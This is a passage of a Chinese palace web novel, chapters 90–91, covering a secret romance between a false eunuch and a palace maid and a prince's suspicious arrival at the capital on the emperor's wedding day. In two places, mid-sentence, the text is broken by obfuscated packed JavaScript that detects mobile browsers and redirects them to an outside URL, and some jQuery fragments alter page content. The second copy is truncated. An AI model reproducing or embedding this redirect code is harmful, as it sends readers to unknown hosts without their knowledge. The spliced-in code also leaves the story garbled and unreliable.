秦烨一愣:“你这话什么意思?” 第九十章 雨竹吃醋 “什么意思?”雨竹咬着嘴唇,“你和承明殿的梅儿结为对食的事,整个后宫都传遍了,你说是什么意思?” “谁说的?”秦烨皱眉。 “重要吗?”雨竹抬头,月光下,她的眼中闪烁着泪光,“我真傻,居然会以为……” 话未说完,她转身就要离开。 秦烨一把将她搂入怀中:“傻丫头,你连解释的机会都不给我?” “放开我!”雨竹挣扎着,“你骗我!你明明说过……” “我说过什么,我就会做到什么。”秦烨的声音很轻,却带着不容置疑的坚定,“我喜欢的人是你,只有你。” 雨竹的挣扎渐渐停止:“真的?” “当然是真的。”秦烨轻抚她的后背,“要不要去凤仪园走走?我给你解释。” 雨竹犹豫片刻,终于点了点头。 凤仪园里,花香四溢。月光如水般倾泻而下,为眼前的一切镀上一层银辉。 “那些都是谣言。”秦烨牵着雨竹的手,在花间漫步,“梅儿确实来找过我,但被我拒绝了。” “为什么拒绝?”雨竹小声问。 秦烨停下脚步,转身看着她:“因为我心里已经有人了。” 雨竹低下头,脸颊微红:“是……是谁?” “你说呢?”秦烨笑着将她拉进一处僻静的凉亭。 凉亭四周种满了月季,花香浓郁。远处的假山投下阴影,将这一方天地笼罩得更显私密。 “我……”雨竹话还没说完,就被秦烨吻住了唇。 这个吻来得突然,却又似水到渠成。雨竹只觉得浑身发软,整个人都瘫在了秦烨怀里。 良久,两人才分开。雨竹喘着气,粉拳轻捶他的胸口:“你……你怎么这样?” “因为我想这样做很久了。”秦烨将她抱起,轻轻放在石桌上。 “这里会不会有人来?”雨竹紧张地四处张望。 “放心,这个时辰,不会有人来的。” 秦烨的吻如雨点般落下,雨竹觉得自己仿佛要融化在这个男人的怀抱里。 衣衫渐渐褪去,月光下,她白皙的肌肤泛着莹润的光泽。 突然,她感觉到了什么,惊讶地看着秦烨:“你……你不是……” 秦烨没有解释,用实际行动回答了她的疑问。 一个时辰后。 雨竹靠在秦烨怀里,浑身酥软。她还沉浸在方才的欢愉中,连动一下手指的力气都没有了。 “你真的不是太监?”她小声问。 “不是。”秦烨亲吻她的发丝,“我是被人陷害,才进宫当太监的。” “那你……” “具体的事情以后再告诉你。”秦烨打断她的话,“现在,让我好好抱抱你。” 雨竹红着脸,任由他搂着。夜风轻拂,带来阵阵花香,她觉得自己像是在做梦。 “以后别再胡思乱想了。”秦烨说,“我的心里只有你。” “嗯。”雨竹轻声应着,心中满是甜蜜。 远处传来更夫打更的声音,已是三更天了。 “该回去了。”秦烨帮她整理好衣衫,“我送你。” “不用了。”雨竹摇头,“被人看到不好。” “那你小心些。”秦烨依依不舍地放开她。 雨竹刚要转身离开,又被秦烨拉住:“等等。” “怎么了?” “你还没答应我一件事。” “什么事?” “和我结为对食。”秦烨认真地说。 雨竹愣了一下,随即露出甜美的笑容:“好。” 带着雨竹回到自己的住处,秦烨搂着她躺在床上,手中把玩着那枚玉器,眼中隐藏不住的笑意。晨光透过窗棂洒落,在玉器表面折射出莹润光泽。 这东西他早就准备好了,只是没想到会用在雨竹身上。回想起刚才的旖旎,他的呼吸不自觉地加重几分。 “这是……”雨竹看到那玉质**的瞬间,俏脸瞬间飞上两朵红云。她下意识地拉高被子挡住羞红的脸。 “你随身带着这个做什么?”她声音轻柔,带着几分羞涩,目光不敢直视秦烨。 秦烨将玉器在掌心转了一圈,嘴角微扬:“以备不时之需。” 雨竹咬了咬唇,目光在那玉器上流连,忽然开口:“这东西……以后只能我用。”她顿了顿,声音更加细若蚊蝇,“其他人碰过的,我不要。” 秦烨心头一暖,将玉器递到她手中:“那你收着。”玉器表面还带着他的体温。 “不行!”雨竹连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504725|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙推拒,白皙的脸颊染上更深的红晕,“万一被人看到……多难为情。” 秦烨轻笑,将玉器收入袖中。他伸手轻抚雨竹的发丝,“放心,我会替你好好保管的。” 殿外传来急促的脚步声,雨竹慌忙整理衣衫,悄悄从后门退去。秦烨目送她离开,这才起身出屋迎接来人。 “秦公公,陛下召见。”小太监气喘吁吁地说道。 秦烨点点头,整理了一下衣冠,大步向承明殿走去。 翌日清晨,整个大周王朝都笼罩在一片喜庆氛围中。红绸飘扬,锣鼓喧天,街道两旁挤满了看热闹的百姓。 皇帝上官瑾与柔木氏公主的大婚,牵动着两国邦交。这场婚事的重要性不言而喻。一旦成功,不仅能巩固两国关系,更能为上官瑾的统治增添几分合法性。 秦烨穿过宫道,向礼宾院行去。清晨的露水打湿了他的靴子,带来丝丝凉意。女帝已经先一步抵达,就等百官到齐,举行朝拜仪式,迎接柔木氏公主入宫完婚。 想到今晚的洞房花烛,秦烨心头火热。他的脚步不自觉地加快了几分。 表面上这是女帝娶亲,但上官瑾根本没那个能力,到头来还得是他来圆房。这让秦烨如何能不期待?公主的美名早已传遍两国,今晚终于得偿所愿。 礼宾院外,秦烨看到女帝上官瑾正独自而立,神色冰冷。晨风吹动她的衣袍,更添几分孤寂。 四下望去,本该到场的百官一个都不见。空旷的广场上只有零星几个太监宫女在忙碌。 “陛下,出什么事了?”秦烨快步上前,注意到上官瑾眼底的疲惫。 “他们去迎上官煜了。”上官瑾语气中带着几分失落,纤细的手指无意识地摩挲着玉玺。 秦烨眉头一皱:“上官煜?没有陛下诏令,藩王怎能擅入汴城?”他的声音中带着几分怒意。 “他说是来贺朕大婚。”上官瑾叹了口气,目光望向远处,“人都到汴城外了,朕也不好拒绝。只是没想到……” 她没说完,但秦烨明白她的意思。上官煜多年不在京中,百官却纷纷放下皇帝大婚去迎接他,这说明什么?说明上官煜在朝中的影响力远超女帝。 “陛下在此稍候,我去看看情况。”秦烨躬身行礼,转身向永安门方向赶去。 第九十一章 藩王入京 远远望去,文武百官分列街道两侧,恭敬等候。这阵仗,比迎接柔木氏公主还要隆重。红毯铺地,香烟缭绕,比之大婚仪式有过之而无不及。 “秦公公也来迎藩王?”韩明远看到秦烨,露出惊讶之色。他的语气中带着几分揶揄。 “不。”秦烨缓缓摇头,目光在韩明远和周围百官身上逐一扫过,每一道视线都仿佛带着审视的意味。 春日的阳光洒在青石板路上,映照出一片斑驳的光影。远处传来阵阵喧嚣,显然是迎接上官煜的队伍已经临近。 “我是来迎诸位大人去礼宾院的。”秦烨的声音不疾不徐,却让在场众人心头一紧。 韩明远面色微变,快步上前,压低声音道:“秦公公,如今百官都在迎藩王,您这般做……”他欲言又止,目光中带着几分担忧,“怕是要得罪不少人啊。” 秦烨嘴角微扬,露出一抹意味深长的笑意:“多谢提醒。”简单的四个字,却让韩明远不由自主地后退半步。 远处忽然传来一阵急促的马蹄声,打破了这微妙的气氛。众人循声望去,只见一道身影策马疾驰而来,马背上的人影渐渐清晰。 “这就是藩王?”秦烨微眯双眼,注视着那道逐渐靠近的身影。 “正是。”韩明远连忙点头,语气中带着几分恭敬,“藩王仁德,在朝野声望极高。这些年在封地,更是深得民心。” 秦烨默默打量着这位传说中的藩王。三十出头的年纪,一身**袍衬得他气度不凡,举手投足间尽显王者风范。 “恭迎藩王入京!”百官纷纷躬身行礼,场面颇为壮观。 “哈哈哈!”上官煜的笑声爽朗,他挥动马鞭,“诸位,礼宾院相见。”话音未落,人已策马而去,连片刻停留都未曾有。 百官们面面相觑,显然没料到上官煜会是这般态度。有人暗自嘀咕,有人若有所思。 “仁德?”秦烨冷笑一声,语气中带着几分讥讽。 韩明远面露尴尬之色:“仁德之名,真假参半,秦公公心中想必也清楚。” 秦烨不再言语,心中却在冷笑。这上官煜选在正午吉时抵京,分明就是要试探百官们的态度。在上官瑾大婚之时,看看文武百官到底会选择站在谁的一边。 礼宾院内,玉华阁上。 婚宴已经准备妥当,处处张灯结彩,喜气洋洋。百官陆续入席,觥筹交错间,似乎看不出丝毫异样。上官瑾亲自为上官煜赐座,场面一片和谐。 皇室婚礼繁文缛节,光是祭祀祖先、诏告天下、册封柔木氏公主为妃,就耗费了整整一个时辰。期间,秦烨注意到不少官员频频交换眼色,显然各怀心思。 柔木氏公主盖着大红盖头,在一众宫女的簇拥下,被送入新建的月柔宫。整个过程庄重而肃穆,却让人感觉少了几分喜庆的氛围。 酒宴开始,觥筹交错间,上官瑾虽然面带笑容,但眼中的失落却难以掩饰。秦烨站在她身旁,不时低声安慰几句。 礼宾院卿秦竹远先后向上官瑾、上官煜敬酒,随后来到司马辉面前。二人交换了一个意味深长的眼神,一饮而尽。这一幕落在秦烨眼中,不禁让他若有所思。 趁着酒意,秦烨走到司马辉身边。 “贤侄可是在为藩王入京之事烦忧?”司马辉开门见山地问道,目光炯炯有神。 “叔父大人似乎也有此忧?”秦烨反问道。 司马辉神色一正:“为臣之道,忠心为先。这个道理,贤侄应该明白。” “藩王此番入京,确实让朝野震动。”秦烨缓缓说道,目光扫向远处与众臣谈笑风生的上官煜。 “数年前,关于皇位继承……” “贤侄!”司马辉突然打断道,“那些都是流言,不足为信。先帝把皇位给了陛下,自有道理。” 他冷笑一声:“你以为他当真仁德?” “叔父此言何意?”秦烨心中一动。 司马辉压低声音:“这位藩王,演技倒是了得。骗得满朝文武都以为他是贤君。真正仁德之人,岂会谋反?岂会对皇上和玉华下手?” 秦烨心中一震:“叔父这话的意思是……” “赵马康是御医署的人,张马临是工部尚书。能让这等人物效忠,又岂是寻常?我大周朝,也就这位藩王有这般本事了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504726|170040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 司马辉叹息道:“若非老夫派人查出些蛛丝马迹,还真看不出这位的真面目。想来先帝也是察觉到了什么,才在最后关头改传皇位给今上。” 秦烨心中翻江倒海。他看向远处与群臣觥筹交错的上官煜,心中涌起一阵寒意。原来背后主使竟是他?难怪他此时入京,选在上官瑾大婚之日。这是要借机试探朝臣,为日后行事做准备。 “叔父可有确凿证据?”秦烨追问道。 司马辉摇头:“只是些零星线索,还不足以定罪。这位藩王,心机极深。” 殿内烛火摇曳,映照着司马辉略显苍老的面容。他端起茶盏,茶水已经凉透,却仍是一口饮尽。 “这事说来话长,还得从先帝时说起。”司马辉放下茶盏,眼神飘向远处,仿佛在回忆往事,“当年藩王和先帝之间,似乎是为了争夺什么东西,又好像是为了一个女人……” 他的声音渐渐低沉,手指无意识地敲击着桌面。“具体缘由记不太清了。”司马辉苦笑着摇头,“老了,记性不太好。但有一点可以确定,上官煜此番入京,绝非偶然。” 秦烨低头沉思片刻,“他是来试探的。” “试探什么?”司马辉一愣,随即面色大变,身子不自觉地前倾,“你是说……” “不出三个月。”秦烨的声音很轻,却让司马辉如坠冰窟。 “这么快?”司马辉倒吸一口凉气,茶盏差点脱手。 秦烨回想起上官煜入京时的情形,那份傲慢,那种轻蔑,无一不在彰显着他的底气。 按律法,藩王不得擅自入京。可上官煜却大摇大摆地来了,连个像样的理由都懒得找。从御医署搜出的密件上的内容,都在印证着这一切。 “上官煜这是胜券在握了。”司马辉的声音带着颤抖,“否则不会如此肆无忌惮。” 他突然想到自己的女儿司马玉华还在宫中,若上官煜得逞……一股寒意从脚底窜上来。 秦烨看出了他的担忧:“叔父放心,事情还未到那一步。” “但愿如此。”司马辉站起身,郑重其事地说道,“无论如何,司马家永远忠于陛下。”